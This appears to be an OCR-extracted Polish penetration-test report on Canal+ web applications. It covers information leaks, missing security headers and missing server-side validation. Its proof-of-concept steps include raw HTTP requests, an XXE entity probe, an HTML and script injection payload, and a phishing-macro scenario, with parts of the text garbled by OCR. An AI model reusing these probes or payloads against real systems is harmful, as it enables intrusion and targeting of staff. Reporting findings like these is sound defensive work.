identyfikatorem btedu bez ujawniania nadmiarowych informacji.

Wiecej informacji:

e https://owasp.org/www-community/Improper Error Handling#how-to-protect-yourself
e https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Error Handling Cheat Sh

eet.md
e https://cheatsheetseries.owasp.org/cheatsheets/lLogging Cheat Sheet.html

securitum



[LOW] SECURITUM-215508-006: Ujawnianie nadmiarowych informacji
o srodowisku w ciasteczkach

(0]

Testowana aplikacja zwraca w nagtéwkach odpowiedzi HTTP nadmiarowe informacje o wewnetrznej
infrastrukturze. Takie zachowanie moze pomdc atakujacemu w lepszym sprofilowaniu srodowiska aplikacji,
co moze zostac nastepnie wykorzystane do przeprowadzania dalszych atakow.

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

Dostep do aplikacji.

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Wystanie zadania:

GET / HTTP/1.1

Host: icard@.pl.canalplus.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Connection: close

powoduje otrzymanie odpowiedzi zawierajgcej m.in. ciasteczko MOJE_SIDENT:

HTTP/1.1 302 Found

Cache-Control: no-cache, no-store, must-revalidate

Pragma: no-cache

Expires: @

Set-Cookie: MOJE_SIDENT=E42264[..]71F4.10.48.22.10; Path=/; HttpOnly
X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

X-Frame-Options: DENY

Location:
https://icard@.pl.canalplus.com/cas/login?service=https%3A%2F%2Ficard®.pl.canalplus.com%2Flogin%2
Fcas

Content-Length: @

Date: Thu, 09 Dec 2021 11:05:00 GMT

Connection: close

Set-Cookie: canal+app=[..]; path=/; Httponly; Secure

Set-Cookie: TS@laae88b=[..]; Path=/

Server: nc+ app server

Zaznaczony powyzej na czerwono fragment ciasteczka pochodzi z prywatnej klasy adreséw IP, ktére stuza jako
adresy urzadzen w sieciach wewnetrznych.

Podczas testow wykonano powyzsze zadanie 128 razy i uzyskano 8 réznych adreséw IP: kolejno od 10.48.22.10
do 10.48.22.17.




Widok w narzedziu Burp Suite, modut Intruder:

o @ 22. Intruder attack of icard0.pl.canalplus.com - Temporary attack...

Results Target Positions Payloads Resource Pool Options

Filter: Showing all items ®

Request Payload Status Length Set-Cookie: MOJE_SIDENT=[0-9A-F]+\.(.*?); Path=

0 302 823 10.48.22.14
1 null 302 823 10.48.22.11
2 null 302 823 10.48.22.13
3 null 302 823 10.48.22.16
4 null 302 823 10.48.22.17
5 null 302 823 10.48.22.13
6 null 302 823 10.48.22.11
7 null 302 823 10.48.22.16
8 null 302 823 10.48.22.15
9 null 302 823 10.48.22.15
10 null 302 823 10.48.22.17
11 null 302 823 10.48.22.10
12 null 302 823 10.48.22.16
13 null 302 823 10.48.22.14
14 null 302 823 10.48.22.12
15 null 302 823 10.48.22.16

e wkolumnie ,Request” wida¢ numer kolejny wystanego zadania,

e wkolumnie ,Payload” brak informacji, poniewaz wysytane sa takie same zadania,

e w kolumnie ,Status” jest kod odpowiedzi,

e wkolumnie Length” jest dtugos¢ odpowiedzi,

e w kolumnie ,Set-Cookie: MOJE_SIDENT=...” wida¢ adres IP wyekstrahowany z ciasteczka.

LOKALIZACIA

https://icard0.pl.canalplus.com/ - ciasteczko MOJE_SIDENT

REKOMENDACIA

Zaleca sie usunac z ciasteczka adres IP.

securitum



[LOW] SECURITUM-215508-007: Ujawnianie nadmiarowych informac;ji
o srodowisku w odpowiedzi HTTP

(0]

Testowana aplikacja zwraca w odpowiedzi HTTP nadmiarowe informacje o wykorzystywanych technologiach.
Takie zachowanie moze poméc atakujacemu w lepszym sprofilowaniu Srodowiska aplikacji, co moze zostac
nastepnie wykorzystane do przeprowadzania dalszych atakéw.

Wiecej informacji:

e https://wiki.owasp.org/index.php/Testing for Web Application Fingerprint (OWASP-1G-004)
e https://github.com/OWASP/OWASP-Testing-Guide/blob/master/4-Web-Application-Security-
Testing/4.2.2%20Fingerprint%20Web%20Server%20(0OTG-INFO-002)

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

Dostep do aplikacji.

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Nastepujace zadanie:

GET /WEB-INF/ HTTP/1.1
Host: icard@.pl.canalplus.com

[.]

powoduje otrzymanie odpowiedzi HTTP z btedem, w tym wersjg oprogramowania:

HTTP/1.1 404 Not Found

Content-Type: text/html;charset=utf-8
Content-Language: en

Content-Length: 992

Date: Thu, 02 Dec 2021 16:50:18 GMT

Connection: close

Set-Cookie: canal+app=[..]; path=/; Httponly; Secure
Set-Cookie: TS@laae88b=[..]; Path=/

Server: nc+ app server

<IDOCTYPE html><html><head><title>Apache Tomcat/8.0.24 - Error report</title><style
type="text/css">[..]</style> </head><body><h1>HTTP Status 404 - </hl><div
class="1line"></div><p><b>type</b> Status report</p><p><b>message</b>
<u></u></p><p><b>description</b> <u>The requested resource is not available.</u></p><hr
class="1line"><h3>Apache Tomcat/8.0.24</h3></body></html>

LOKALIZACIA

Konfiguracja serwera.

REKOMENDACIA

Zaleca sie usuna¢ z odpowiedzi HTTP nadmiarowe komunikaty, ktére ujawniajg informacje
o wykorzystywanych technologiach.




[LOW] SECURITUM-215508-008: Ujawnianie nadmiarowych informac;ji
o srodowisku w metadanych plikow PDF

(0]

W metadanych plikow PDF generowanych w testowanej aplikacji znajdujg sie nadmiarowe informacje
o wykorzystywanych technologiach. Takie zachowanie moze poméc atakujacemu w lepszym sprofilowaniu

Srodowiska aplikacji, co moze zostac nastepnie wykorzystane do przeprowadzania dalszych atakdw.

Wiecej informacji:

e https://wiki.owasp.org/index.php/Testing for Web Application Fingerprint (OWASP-IG-004)

e https://github.com/OWASP/OWASP-Testing-Guide/blob/master/4-Web-Application-Security-

Testing/4.2.2%20Fingerprint%20Web%20Server%20(OTG-INFO-002)

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

Konto w aplikacji.

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

W celu potwierdzenia nalezy:

1. Zalogowac sie w aplikacji.

2. Przejs¢ do: Ptatnosci - Prognoza rachunkow - Pobierz prognoze ptatnosci.

3. Zostanie wygenerowany plik PDF z nastepujacymi metadanymi:

Nazwa pliku:
Rozmiar pliku:

Tytut:

Autor:

Temat:

Stowa kluczowe:

Data utworzenia:
Data modyfikacji:
Utworzony przez:

prognoza-platnosci.pdf
41,3 KB (42 2818B)

prognoza_platnosci.pdf

712.2021, 08:43:17
712.2021, 08:43:17

PDF wyprodukowany
przez:

iText 2.1.7 by 1T3XT )

Wersja PDF:
Liczba stron:
Wymiary strony:

Szybki podglad
w Internecie:

LOKALIZACIA

14
1

215,9x279,4 mm (US Letter, orientacja
pionowa)

nie

Zamknij

Generator plikéw PDF.

REKOMENDACIA

Zaleca sie usuna¢ z metadanych plikéw
o wykorzystywanych technologiach.

securitum

PDF nadmiarowe wpisy, ktore ujawniaja

informacje




[LOW] SECURITUM-215508-009: Ujawnianie nadmiarowych informacji
w metadanych plikéw PDF

(0]

Zidentyfikowano pliki PDF, ktore ujawniaja (w metadanych) imie i nazwisko pracownika oraz wersje
uzywanego oprogramowania Microsoft Office. Tego typu informacje moga zosta¢ wykorzystane do
przeprowadzenia ukierunkowanego ataku socjotechnicznego.

W metadanych znaleziono réwniez Sciezki uzytych grafik. Takie zachowanie moze pomdc atakujgcemu
w lepszym sprofilowaniu srodowiska aplikacji, co moze zostaé nastepnie wykorzystane do przeprowadzania
dalszych atakéw.

Wiecej informacji:

e https://wiki.owasp.org/index.php/Testing for Web Application Fingerprint (OWASP-1G-004)
e https://github.com/OWASP/OWASP-Testing-Guide/blob/master/4-Web-Application-Security-
Testing/4.2.2%20Fingerprint%20Web%20Server%20(0OTG-INFO-002)

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

Dostep do aplikacji.

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Przyktad #1 — dane pracownika, wersja oprogramowania

Plik ,Regulamin” dostepny ze strony gtéwne] (panelu logowania), umieszczony pod adresem:
https://strefa.pl.canalplus.com/resources/doc/regulamin_strefacanalplus.pdf, zawiera nastepujace
metadane (nazwisko pracownika zostato zamaskowane):

Author: [..] Radostaw

CreateDate: 2020:07:15 17:05:04+02:00
Creator: Microsoft® Word 2016
FileType: PDF

FileTypeExtension: pdf

Language: pl-PL

Linearized: No

MIMEType: application/pdf

ModifyDate: 2020:07:15 17:05:04+02:00
PDFVersion: 1.5

PageCount: 2

Producer: Microsoft® Word 2016

Przyktadowy scenariusz ataku:

1) Atakujacy wie, ze Pan Radostaw pracowat nad dokumentem z regulaminem korzystania z serwisu,

2) Atakujacy wie, Ze Pan Radostaw uzywa oprogramowania Microsoft Word 2016,

3) Nastepnie atakujacy przygotowuje dokument Word, ktéry zawiera ztosliwe makro i wysyta plik na
adres pracownika,

4) W celu zwiekszenia prawdopodobienstwa sukcesu, atakujgcy moze podac sie za wspotpracownika,
ktory ,prosi” o przegladniecie poprawek do dokumentu z regulaminem korzystania z serwisu.




Inny plik, ,Lista dokumentéw niezbednych do przeprowadzenia cesji [...]”, dostepny po zalogowaniu ([Imie
Nazwisko] - Dokumenty do pobrania - Formularz cesji — Uzupetnij formularz), umieszczony pod adresem:
https://strefa.pl.canalplus.com/resources/doc/cesja/Lista_dokumentow_do_cesji.pdf, zawiera
nastepujace metadane (nazwisko pracownika zostato zamaskowane):

Author: [..] Ewa

CreateDate: 2016:01:22 12:24:15+01:00
Creator: [..] Ewa

CreatorTool: Microsoft® Word 2010
DocumentID: uuid:21f36bb5-]..]

FileType: PDF

FileTypeExtension: pdf

Format: application/pdf

InstanceID: uuid:0994f702-[..]

Language: pl-PL

Linearized: Yes

MIMEType: application/pdf

MetadataDate: 2016:01:22 12:33:35+01:00
ModifyDate: 2016:01:22 12:33:35+01:00
PDFVersion: 1.5

PageCount: 2

Producer: Microsoft® Word 2010
TaggedPDF: Yes

XMPToolkit: Adobe XMP Core 5.4-c005 78.147326, 2012/08/23-13:03:03

Przyktad #2 — Sciezki

Plik ,Pomoc” dostepny ze strony gtownej (panelu logowania), umieszczony pod adresem:
https://strefa.pl.canalplus.com/resources/doc/pomoc_logowanie.pdf, zawiera nastepujace metadane,
w tym wersje uzytego oprogramowania oraz sciezki uzytych grafik:

CreateDate: 2018:04:27 12:06:50+02:00

Creator: Adobe Illustrator CS5.1

CreatorTool: Adobe Illustrator CS5.1

DerivedFromDocumentID: xmp.did:EF7F1174072068118A6DEFFA6EDA11B1
DerivedFromInstanceID: xmp.iid:EF7F1174072068118A6DEFFA6EDA11B1
DerivedFromOriginalDocumentID: xmp.did:e7f6af99-654c-4b2b-a7ab-9e6218caf6ed
DerivedFromRenditionClass: proof:pdf

DocumentID: xmp.did:FO7F1174072068118A6DEFFA6EDA11B1

FileType: PDF

FileTypeExtension: pdf

FontComposite: False, False, False

FontFace: Light, Bold, Bold

FontFamily: DIN Next LT Pro, DIN Alternate, DIN Next LT Pro

FontFileName: Linotype - DINNextLTPro-Light.otf, DIN Alternate Bold.ttf, Linotype - DIN Next LT
Pro Bold-1.ttf

FontName: DINNextLTPro-Light, DINAlternate-Bold, DINNextLTPro-Bold
FontType: Open Type, TrueType, Open Type

FontVersion: Version 1.200;PS 001.002;hotconv 1.0.38, 9.0d4e2, Version 1.20
Format: application/pdf

HasVisibleOverprint: True

HasVisibleTransparency: True

HasXFA: No

HistoryAction: converted, saved, saved, saved, saved, saved




HistoryChanged: /, /, /, /, /, /

HistoryInstanceID: xmp.iid:F77F11740720681188C6E9A33D47EACS,
xmp.iid:F97F11740720681188C6E9A33D47E4ACS5, xmp.iid:ED7F1174072068118A6DEFF46EDA11B1,
xmp.iid:EF7F1174072068118A6DEFFA46EDA11B1, xmp.iid:F@7F1174072068118A6DEFF46EDA11B1
HistoryParameters: from application/x-indesign to application/pdf

HistorySoftwareAgent: Adobe InDesign CC 13.0 (Macintosh), Adobe Illustrator CS5.1, Adobe
Illustrator CS5.1, Adobe Illustrator CS5.1, Adobe Illustrator CS5.1, Adobe Illustrator CS5.1
HistoryWhen: 2018:04:25 13:27:59+02:00, 2018:04:26 10:47+02:00, 2018:04:26 11:49:05+02:00,
2018:04:27 10:28:42+02:00, 2018:04:27 11:44:10+02:00, 2018:04:27 12:06:45+02:00
InstanceID: uuid:66703df0-90e0-43fc-bb88-0d6253c8dbdf

Linearized: No

MIMEType: application/pdf

ManifestLinkForm: EmbedByReference, EmbedByReference, EmbedByReference, EmbedByReference,
EmbedByReference, EmbedByReference, EmbedByReference, EmbedByReference, EmbedByReference,
EmbedByReference

ManifestReferenceFilePath: /Volumes/PROJEKTY/Wiktor/ICA/04/Instrukcja logowania
ICA/fot/image@06.jpg, /Volumes/PROJEKTY/Wiktor/ICA/04/Instrukcja logowania ICA/fot/NumABO.jpg,
/Volumes/PROJEKTY/Wiktor/ICA/04/Instrukcja logowania ICA/fot/ZAREJESTRUJ.jpg,
/Volumes/PROJEKTY/Wiktor/ICA/04/Instrukcja logowania ICA/fot/ZAREJESTRUJ.jpg,
/Volumes/PROJEKTY/Wiktor/ICA/04/Instrukcja logowania ICA/fot/image@@5.png,
/Volumes/PROJEKTY/Wiktor/ICA/04/Instrukcja logowania ICA/fot/ZALOZKONTO.jpg,
/Volumes/PROJEKTY/Wiktor/ICA/04/Instrukcja logowania ICA/fot/image004.png,
/Volumes/PROJEKTY/Wiktor/ICA/04/Instrukcja logowania ICA/fot/image@@3.png,
/Volumes/PROJEKTY/Wiktor/ICA/04/Instrukcja logowania ICA/fot/gdzieNumAbo.jpg,
/Volumes/PROJEKTY/Wiktor/ICA/04/Instrukcja logowania ICA/fot/image@02.png

MaxPageSizeH: 900.235840

MaxPageSizeUnit: Pixels

MaxPageSizeW: 653.622070

MetadataDate: 2019:08:28 16:46:10+02:00

ModifyDate: 2019:08:28 16:46:10+02:00

NPages: 1

OriginalDocumentID: xmp.did:e7f6af99-654c-4b2b-a7ab-9e6218caf6esd

PDFVersion: 1.6

PageCount: 4

PlateNames: Cyan, Magenta, Yellow, Black

Producer: Adobe PDF library 9.90

RenditionClass: proof:pdf

SwatchGroupName: Default Swatch Group

SwatchGroupType: ©

ThumbnailFormat: JPEG

ThumbnailHeight: 64

ThumbnailImage: (Binary data 7038 bytes, use -b option to extract)

ThumbnailWidth: 256

Title: Instrukcja_logowania_ICA

Trapped: False

XMPToolkit: Adobe XMP Core 5.6-c016 91.163616, 2018/10/29-16:58:49

LOKALIZACIA

Opublikowane pliki PDF.

REKOMENDACIA

Zaleca sie usunac wszystkie nadmiarowe informacje z metadanych opublikowanych plikow PDF.




securitum

Punkty informacyjne



[INFO] SECURITUM-215508-010: Brak nagtowka Content-Security-Policy

(0]

W odpowiedziach aplikacji nie zidentyfikowano wdrozonego nagtéwka Content-Security-Policy.

Content Security Policy (CSP) jest mechanizmem bezpieczenstwa dziatajgcym na poziomie przegladarek,
ktorego celem jest ochrona przed skutkami podatnosci dziatajacych po stronie przegladarki (np. podatnosci
Cross-Site Scripting). CSP moze w znaczacy sposéb utrudni¢ wykorzystanie podatnosci, jednak jego
wdrozenie moze by¢ skomplikowane i moze wymagac istotnych zmian w strukturze aplikacji.

Gtéwna ideg CSP jest mozliwos¢ zdefiniowana listy dozwolonych zrédet, z ktdrych beda mogty by¢ tadowane
zewnetrzne zasoby na stronie. Przyktadowo, w przypadku zdefiniowania ponizszej polityki CSP:

Content-Security-Policy: default-src 'self' ‘

wszystkie zewnetrzne zasoby na stronie beda mogty by¢ tadowane wytacznie z domeny aplikacji (*self*), co
za tym idzie proba zatadowania skryptu lub grafiki z innych domen zakonczy sie niepowodzeniem. W takim
wdrozeniu niemozliwe jest réwniez definiowanie kodu skryptéw bezposrednio w kodzie HTML, np.:

<script>jQuery.ajax(...)</script> ‘

Wszystkie skrypty musza byc¢ zdefiniowane w zewnetrznych plikach, np.:

<script src="/app.js"></script>

Wiecej informacji dotyczacych wdrozenia Content-Security-Policy mozna znalez¢ pod adresami:

e https://sekurak.pl/wszystko-o-csp-2-0-content-security-policy-jako-uniwersalny-straznik-
bezpieczenstwa-aplikacji-webowej/
e https://cheatsheetseries.owasp.org/cheatsheets/Content Security Policy Cheat Sheet.html

LOKALIZACIA

Cata aplikacja.

REKOMENDACIA

Zaleca sie rozwazy¢ wdrozenie nagtéwka Content-Security-Policy. W tym celu nalezy zdefiniowac wszystkie
domeny, z ktérych pobierane sa zasoby w aplikacji (grafiki, skrypty, elementy audio/wideo, style CSS itp.) i na
ich podstawie zbudowac polityke CSP.

W przypadku uzywania duzej liczby skryptéw zdefiniowanych bezposrednio w kodzie HTML (znaczniki
<script> lub zdarzenia takie jak onclick), nalezy je umiesci¢ w zewnetrznych plikach JavaScript lub skorzystac
z polityk typu nonce. Wiecej informacji zawarto w ponizszych taczach:

e https://csp-evaluator.withgoogle.com/
e https://csp.withgoogle.com/docs/index.html

e https://report-uri.com/home/generate

securitum



[INFO] SECURITUM-215508-011: Brak nagtéwka Strict-Transport-Security

(0]

W odpowiedziach aplikacji nie zidentyfikowano wdrozonego nagtéwka HTTP: Strict-Transport-Security
(HSTS).

Wprowadzenie nagtdwka HSTS wymusza na przegladarce stosowanie szyfrowanego potaczenia HTTPS we
wszystkich odwotaniach do domeny aplikacji. Nawet reczne wpisanie nazwy protokotu ,http” w pasku adresu
nie spowoduje wystania nieszyfrowanych pakietéw.

Wdrozenie tego nagtdéwka jest traktowane jako ogdlna dobra praktyka hardeningowa w aplikacjach
webowych.

Wiecej informacji:

e https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security

e https://sekurak.pl/hsts-czyli-http-strict-transport-security/

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Przyktadowa odpowiedz? z aplikacji - brak nagtéwka HSTS:

HTTP/1.1 200

Cache-Control: no-store

Content-Type: text/html;charset=UTF-8
Content-Language: pl

Date: Wed, 08 Dec 2021 14:22:40 GMT
Connection: close

Server: nc+ app server
Content-Length: 14381

[.]

LOKALIZACIA

Cata aplikacja.

REKOMENDACIA

W odpowiedziach HTTP serwera powinien znajdowac sie nagtowek:

Strict-Transport-Security: max-age=31536000

Alternatywnie: istnieje mozliwo$¢ zdefiniowana nagtéwka HSTS réwniez dla wszystkich poddomen:

Strict-Transport-Security: max-age=31536000; includeSubDomains

Ponadto, istnieje mozliwos¢ skorzystania z tzw. listy preload, ktéra domyslnie zapisana jest w zrodtach
popularnych przegladarek WWW. Powoduje to, ze przegladarka uzytkownika, ktéry pierwszy raz nawiazuje
potaczenie z aplikacja, od razu wymusi wykorzystanie szyfrowanego, bezpiecznego kanatu komunikacji.

Strict-Transport-Security: max-age=31536000; preload

Wiecej informacji:

securitum




e https://hstspreload.org/
e https://www.chromium.org/hsts

e https://cheatsheetseries.owasp.org/cheatsheets/HTTP Strict Transport Security Cheat Sheet.ht
ml

securitum



Oris

Audyt wykazat, iz mozliwe jest wstrzykniecie kodu HTML w tres¢ generowanego pliku PDF. Takie zachowanie
systemu sprzyja np. kampaniom phishingowym.

Zaobserwowano rowniez, iz wiekszos$¢ pol nie posiada zaimplementowanej poprawnej weryfikacji po stronie
serwera, obecnie jest tylko czesciowa weryfikacja po stronie klienta. W przypadku komunikacji aplikacji
zinnymi systemami moze to spowodowac w nich nieoczekiwane zachowanie.

Ponadto, w zadaniu wysytane sa nadmiarowe dane, ktére nie sa obecne w formularzu dostepnym dla
uzytkownika. Manipulujac bezposrednio zadaniem, uzytkownik moze zmieni¢ w generowanym pliku takie
dane jak numer abonenta.

Wiecej informacji:

e https://owasp.org/www-project-web-security-testing-guide/latest/4-
Web Application Security Testing/11-Client-side Testing/03-Testing for HTML Injection

SzCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Aby potwierdzi¢ opisane zachowanie, nalezy wykonaé nastepujace kroki:

1. Zalogowac sie w aplikacji.

Przejs¢ do: [Imie Nazwisko] — Formularz cesji — Wiecej.

Wypetni¢ wszystkie pola dowolna litera.

Nacisna¢ przycisk: Generuj i pobierz dokument cesji.

Formularz nie zostaje wystany, a wybrane pola (np. Kod pocztowy, PESEL) s3 oznaczone jako

g WS

nieprawidtowe:

ADRES ZAMELDOWANIA

Ulica Numer domu Numer lokalu
X X X
Kod pocztowy Miejscowosé Poczta
X X X
Nieprawidtowy kod
PESEL
X
Nieprawidlowy pesel
DANE KONTAKTOWE
Numer telefonu Adres e-mail
Nieprawidlowy numer telefonu Nieprawidtowy adres e-mail

securitum.pl
www.sekurak.pl

+48 (12) 361 3337
securitum@securitum.pl

securitum
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6. Zaznaczone pola wypetni¢ dowolnymi poprawnymi danymi.
7. Ponownie nacisna¢ przycisk: Generuj i pobierz dokument cesji — oraz przechwyci¢ wystane zadanie
narzedziem typu proxy (np. Burp Suite):

POST /api/contract/cession HTTP/1.1
Host: icard@.pl.canalplus.com

[.]

{"address":"x x
x","billingEmail":"[..]@securitum.pl”,"billingType":1,"city":"x", "companyAddress":"","companyCity"

:"", "companyEmail":"", "companyName":"","companyPhone":"", "companyPostalCode":"","companyTin":"","
consent_1":true, "consent_2":true, "consent_3":true, "consent_4":true, "consent_5":true, "contractData

" :"IWONA
[..]","customerNumber":"5[..]@", "contractNumber":"1", "email": "[..]@securitum.pl”,"firstName":"x","la
stName":"x","mailAddress":"x x x","mailCity":"x","mailPostalCode":"12-

345", "payment":563.04, "paymentType":"0", "pesel”:"89[..]05", "phone":"123613337", "postalCode":"12-

345"}

8. Zmienic parametry billingEmail, contractData, customerNumber, contractNumber, email,
mailPostalCode, pesel, phone, postalCode Na inne, niepoprawne wartosci.

9. Przestac zadanie dalej.

10. Odpowiedz aplikacji $wiadczy o przyjeciu zadania i wygenerowaniu pliku PDF:

HTTP/1.1 200 OK
[..]
Date: Fri, 17 Dec 2021 13:06:52 GMT

[..]
Content-Length: 67556

{"status":0, "message" :null, "data":{"content":"JVBE[..]RU9GCg==", "fileName" : "formularz_cesji.pdf"},
"timestamp":1639746412445}

11. Oznacza to, ze walidacja wartosci parametréw odbywa sie jedynie po stronie klienta (przegladarki).
Parametry nie posiadaja zadnej walidacji po stronie serwera. Ponadto, mozliwa byta zmiana
dodatkowych parametrow, niewidocznych w formularzu (np. contractData, customerNumber).

12. W dowolnym parametrze wpisac znak & (np. "address": "&") i wysta¢ zagdanie ponownie.

13. Zwracany jest btad Swiadczacy o przetwarzaniu pliku XML:

HTTP/1.1 200 OK

[..]

Date: Fri, 17 Dec 2021 14:51:50 GMT
[..]

{"status":500, "message":"Can't load the XML resource (using TRaX transformer).
org.xml.sax.SAXParseException; lineNumber: 247; columnNumber: 42; The entity name must
immediately follow the '&' in the entity reference.","data":null,"timestamp":1639752710642}

14. W dowolnym parametrze wpisa¢ wtasng encje XML <!DOCTYPE foo [ <!ENTITY abc ‘“xyz" >
]><foo>&abc;</foo> (Np. "address":" <!DOCTYPE  foo [ <!ENTITY abc \"xyz\" >
]><foo>&abc;</foo>") i wystac Zadanie ponownie.

15. Ponownie zwracany jest btad XML:

HTTP/1.1 200 OK

[..]
Date: Sat, 18 Dec 2021 10:51:55 GMT




[.]

{"status":500, "message":"Can't load the XML resource (using TRaX transformer).
org.xml.sax.SAXException: Scanner State 24 not Recognized
","data":null,"timestamp":1639824715716}

16. Nie znaleziono sposobu na wstrzykniecie wtasnych encji oraz wykonanie podatnosci XXE.
Prawdopodobnie wstrzykiwany kod jest umieszczany w takim miejscu struktury XML, ktéra to
uniemozliwia.

17. Do wybranych parametrow wpisac znaczniki HTML. Do pozostatych wpisac rézne niealfanumeryczne
znaki ASCII. Wystac zgdanie ponownie, np.:

POST /api/contract/cession HTTP/1.1
Host: icard@.pl.canalplus.com

[.]

{"address":"a: <a href=\"https: //sekurak p1\">KLIKNIJ MNIE!</a>","billingEmail":"a! \"#$%"'()*+, -
./:3=2@0\\1*_"{]|}~z","billingType":1,"city":"imgl: <img
src=\"https://icard@.pl.canalplus.com/cas/assets/images/STREFA_CANAL_370x55.png\"
/>","companyAddress":"","companyCity":"","companyEmail":"", "companyName":"", "companyPhone" :
mpanyPostalCode"'"","companyTln"'"","consent 1":true, "consent_2":true,"consent_3":true,"’ consent 4
":true,"consent 5":true,"contractData":"a! \"#$%' ()*+,-./:;=2@[\\]*_"{|}~z", "customerNumber":"a!
\"#$%" ()*+,-./:;=2@[\\]*_"{| }~z", "contractNumber":"a!l \"#$%'()*+, -

J3=2@0\\]12_ {3z, "emailt i "al \"#$%' ()*+,-./:;=2@[\\]1*_"{|}~z","firstName":"entity:
&Lt;","lastName":"img2: <img src=\"http://[..domena..].pl\" />","mailAddress":"a!l \"#$%"'()*+,-
/3=2@0\\ 12 { ] 3~z", "mailCity" i "al \"#$%' ()*+,-./:;=2@[\\]1*_"{]|}~z","mailPostalCode": "script:
<div id=\"content\">abc</div><script>document.getElementById('content').innerHTML =
"test'</script>","payment":563.04, "paymentType":"0","pesel":"al \"#$%"' ()*+, -
./3=2@0\\1*_"{]|}~z","phone":"al \"#$%' ()*+,-./:;=2@[\\]1*_"{|}~z","postalCode":"a! \"#$%"' ()*+,-
/13=2@0\\ 1 {1 }~2"}

co

18. W odpowiedzi zostaje wygenerowany plik PDF:

FORMULARZ PRZENIESIENIA PRAW | OBOWIAZKOW WYNIKAJACYCH Z UMOWY
1. Nr Abonenta a! "#8%'()*+,-./;=?@\]~_" {|} ~z-a! "#$%'()*+.-/:=2@\"_"{|}~2

2. NOWY ABONENT - UZUPELNIC DANE DRUKOWANYMI LITERAMI

OSOBA FIZYCZNA LUB UPOWAZNIONA PRZEZ FIRME FIRMA
imie entity: < nazwa firmy:
nazwisko img2: adres firmy:

adres zameldowania:

a: KLIKNI| MNIE! kod pocztowy:

g https://sekurak.pl/ [}; X

kod pocztowy: miejscowosé:

miejscowosé: mgl: NIP:
adres do korespondencji: al "#$%' )%+ - [z =@\~ {|}~2 nr telefonu:
kod pocztowy: script: adres e-mail:

abc

miejscowosé: al "#$%' ()*%+,-/u=1@0\]"_"{|}~2
nr PESEL: al "#8% (04, i=2@0N " (|} ~2
nr telefonu: al "#$% ()% +,-/u=2@0\ " _"{|}~2
adres e-mail: al "#$% ()% +,-/u=2@0\ " _"{|}~2

zwany/a dalej ,Nowym abonentem”.

3. Nowy Abonent wyraza zgode na przejecie, od daty podpisania niniejszego dokumentu, wszystkich praw | obowiazkéw wynikajacych z Umowy spoczywajacych dotychczas
na: a! "#3$%'()*+,-./5=2@0\)"_" {|} ~z zwanym/ej dalej ,Dotychczasowym Abonentem"”.

securitum




19. Jak widac:
a. Zostato wygenerowane hipertacze ze znacznika a.

b. Niezostata wygenerowana grafika ze znacznikdw img (imgl).
c. Predefiniowana encja &1t; zostata zamieniona na <.
d. Nieotrzymano interakcji na adres podany w znaczniku img (img2).
e. Nie zostat wykonany kod JavaScript ze znacznika script,
f. W pozostatych polach widoczne sg podane znaki ASCII, w tym w polach, ktore nie sg obecne
do wypetnienia w formularzu, jak Nr Abonenta.
LOKALIZACIA

[Imie Nazwisko] - Formularz cesji - Wiecej - Generuj i pobierz dokument ces;ji:
POST https://icard0.pl.canalplus.com/api/contract/cession

REKOMENDACIA

Zaleca sie, aby wszystkie dane otrzymywane od uzytkownika byty odpowiednio filtrowane (odrzucenie
wartosci niezgodnych z szablonem/formatem danego pola), a nastepnie zakodowane na wyjsciu wzgledem
kontekstu, w ktorym sa osadzane (we wszystkich miejscach aplikacji, nie tylko tych wyszczegdlnionych
w opisie). Walidacja powinna by¢ wprowadzona przede wszystkim po stronie serwera, a nie tylko po stronie
klienta.

Warto zaznaczy, iz serwer nie powinien zwracadé wartosci, ktére spowodowaty btad, a jedynie wskazywad, iz:
W polu XYZ wprowadzono nieprawidtowg wartosc.”, ewentualnie z dodatkowa informacja o dozwolonych
znakach, np.: ,Dozwolone znaki to litery i liczby”.

W zadaniu nalezy wysytac jedynie wartosci, ktore uzytkownik moze modyfikowac. Wartosci wszystkich pol,
ktorych wartosci uzytkownik nie powinien modyfikowaé (takie jak numer abonenta), nalezy uzupetniac po
stronie serwerowej.

Wiecej informacji:

e https://cheatsheetseries.owasp.org/cheatsheets/Input Validation Cheat Sheet.html

securitum



[INFO] SECURITUM-215508-013: Brak zaimplementowanej walidacji pol

(0]

W trakcie realizacji testow zaobserwowano, iz w niektorych przypadkach wiekszo$¢ pél nie posiada
zaimplementowanej poprawnej weryfikacji po stronie serwera, obecnie jest tylko czeSciowa weryfikacja po
stronie klienta. W przypadku komunikacji aplikacji z innymi systemami moze to spowodowac w nich
nieoczekiwane zachowanie.

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Aby potwierdzi¢ omawiane zachowanie, nalezy wykonac nastepujace kroki:

1. Zalogowac sie w aplikacji.

Wybrac opcje ,+ Internet”.

Poprawnie wypetniajac formularz, przej$¢ do kroku 5 (Zgody).

Nacisna¢ przycisk ,Przejdz dalej” i przechwyci¢ Zadanie narzedziem typu proxy (np. Burp Suite).

o s~ W

Zmieni¢ wartosci parametréw, wprowadzajac nieprawidtowe wartosci, np.:

POST /api/mvno/summary HTTP/1.1
Host: icard@.pl.canalplus.com

[.]

{"parent":{"customerNumber":5[..]10, "contractNumber":1}, "orderOffer":[{"offerId":381, "options":[146
2,1463],"equipments":[1468]}], "customer" :{"customerType" :"P","firstName":"a! \"#$%&"' ()*+, -
/5<=>2@[\\]1"_"{|}~z", "lastName":"a! \"#$%&' ()*+,-./:;<=>2@[\\]*_"{|}~z","pesel":"a!
\"#$%&" () *+, -

./ 15<=>?@[\\]1*_"{|}~z", "idDocNumber" :null, "firstDocType":"ID_NEW","firstDocNumber":"a!

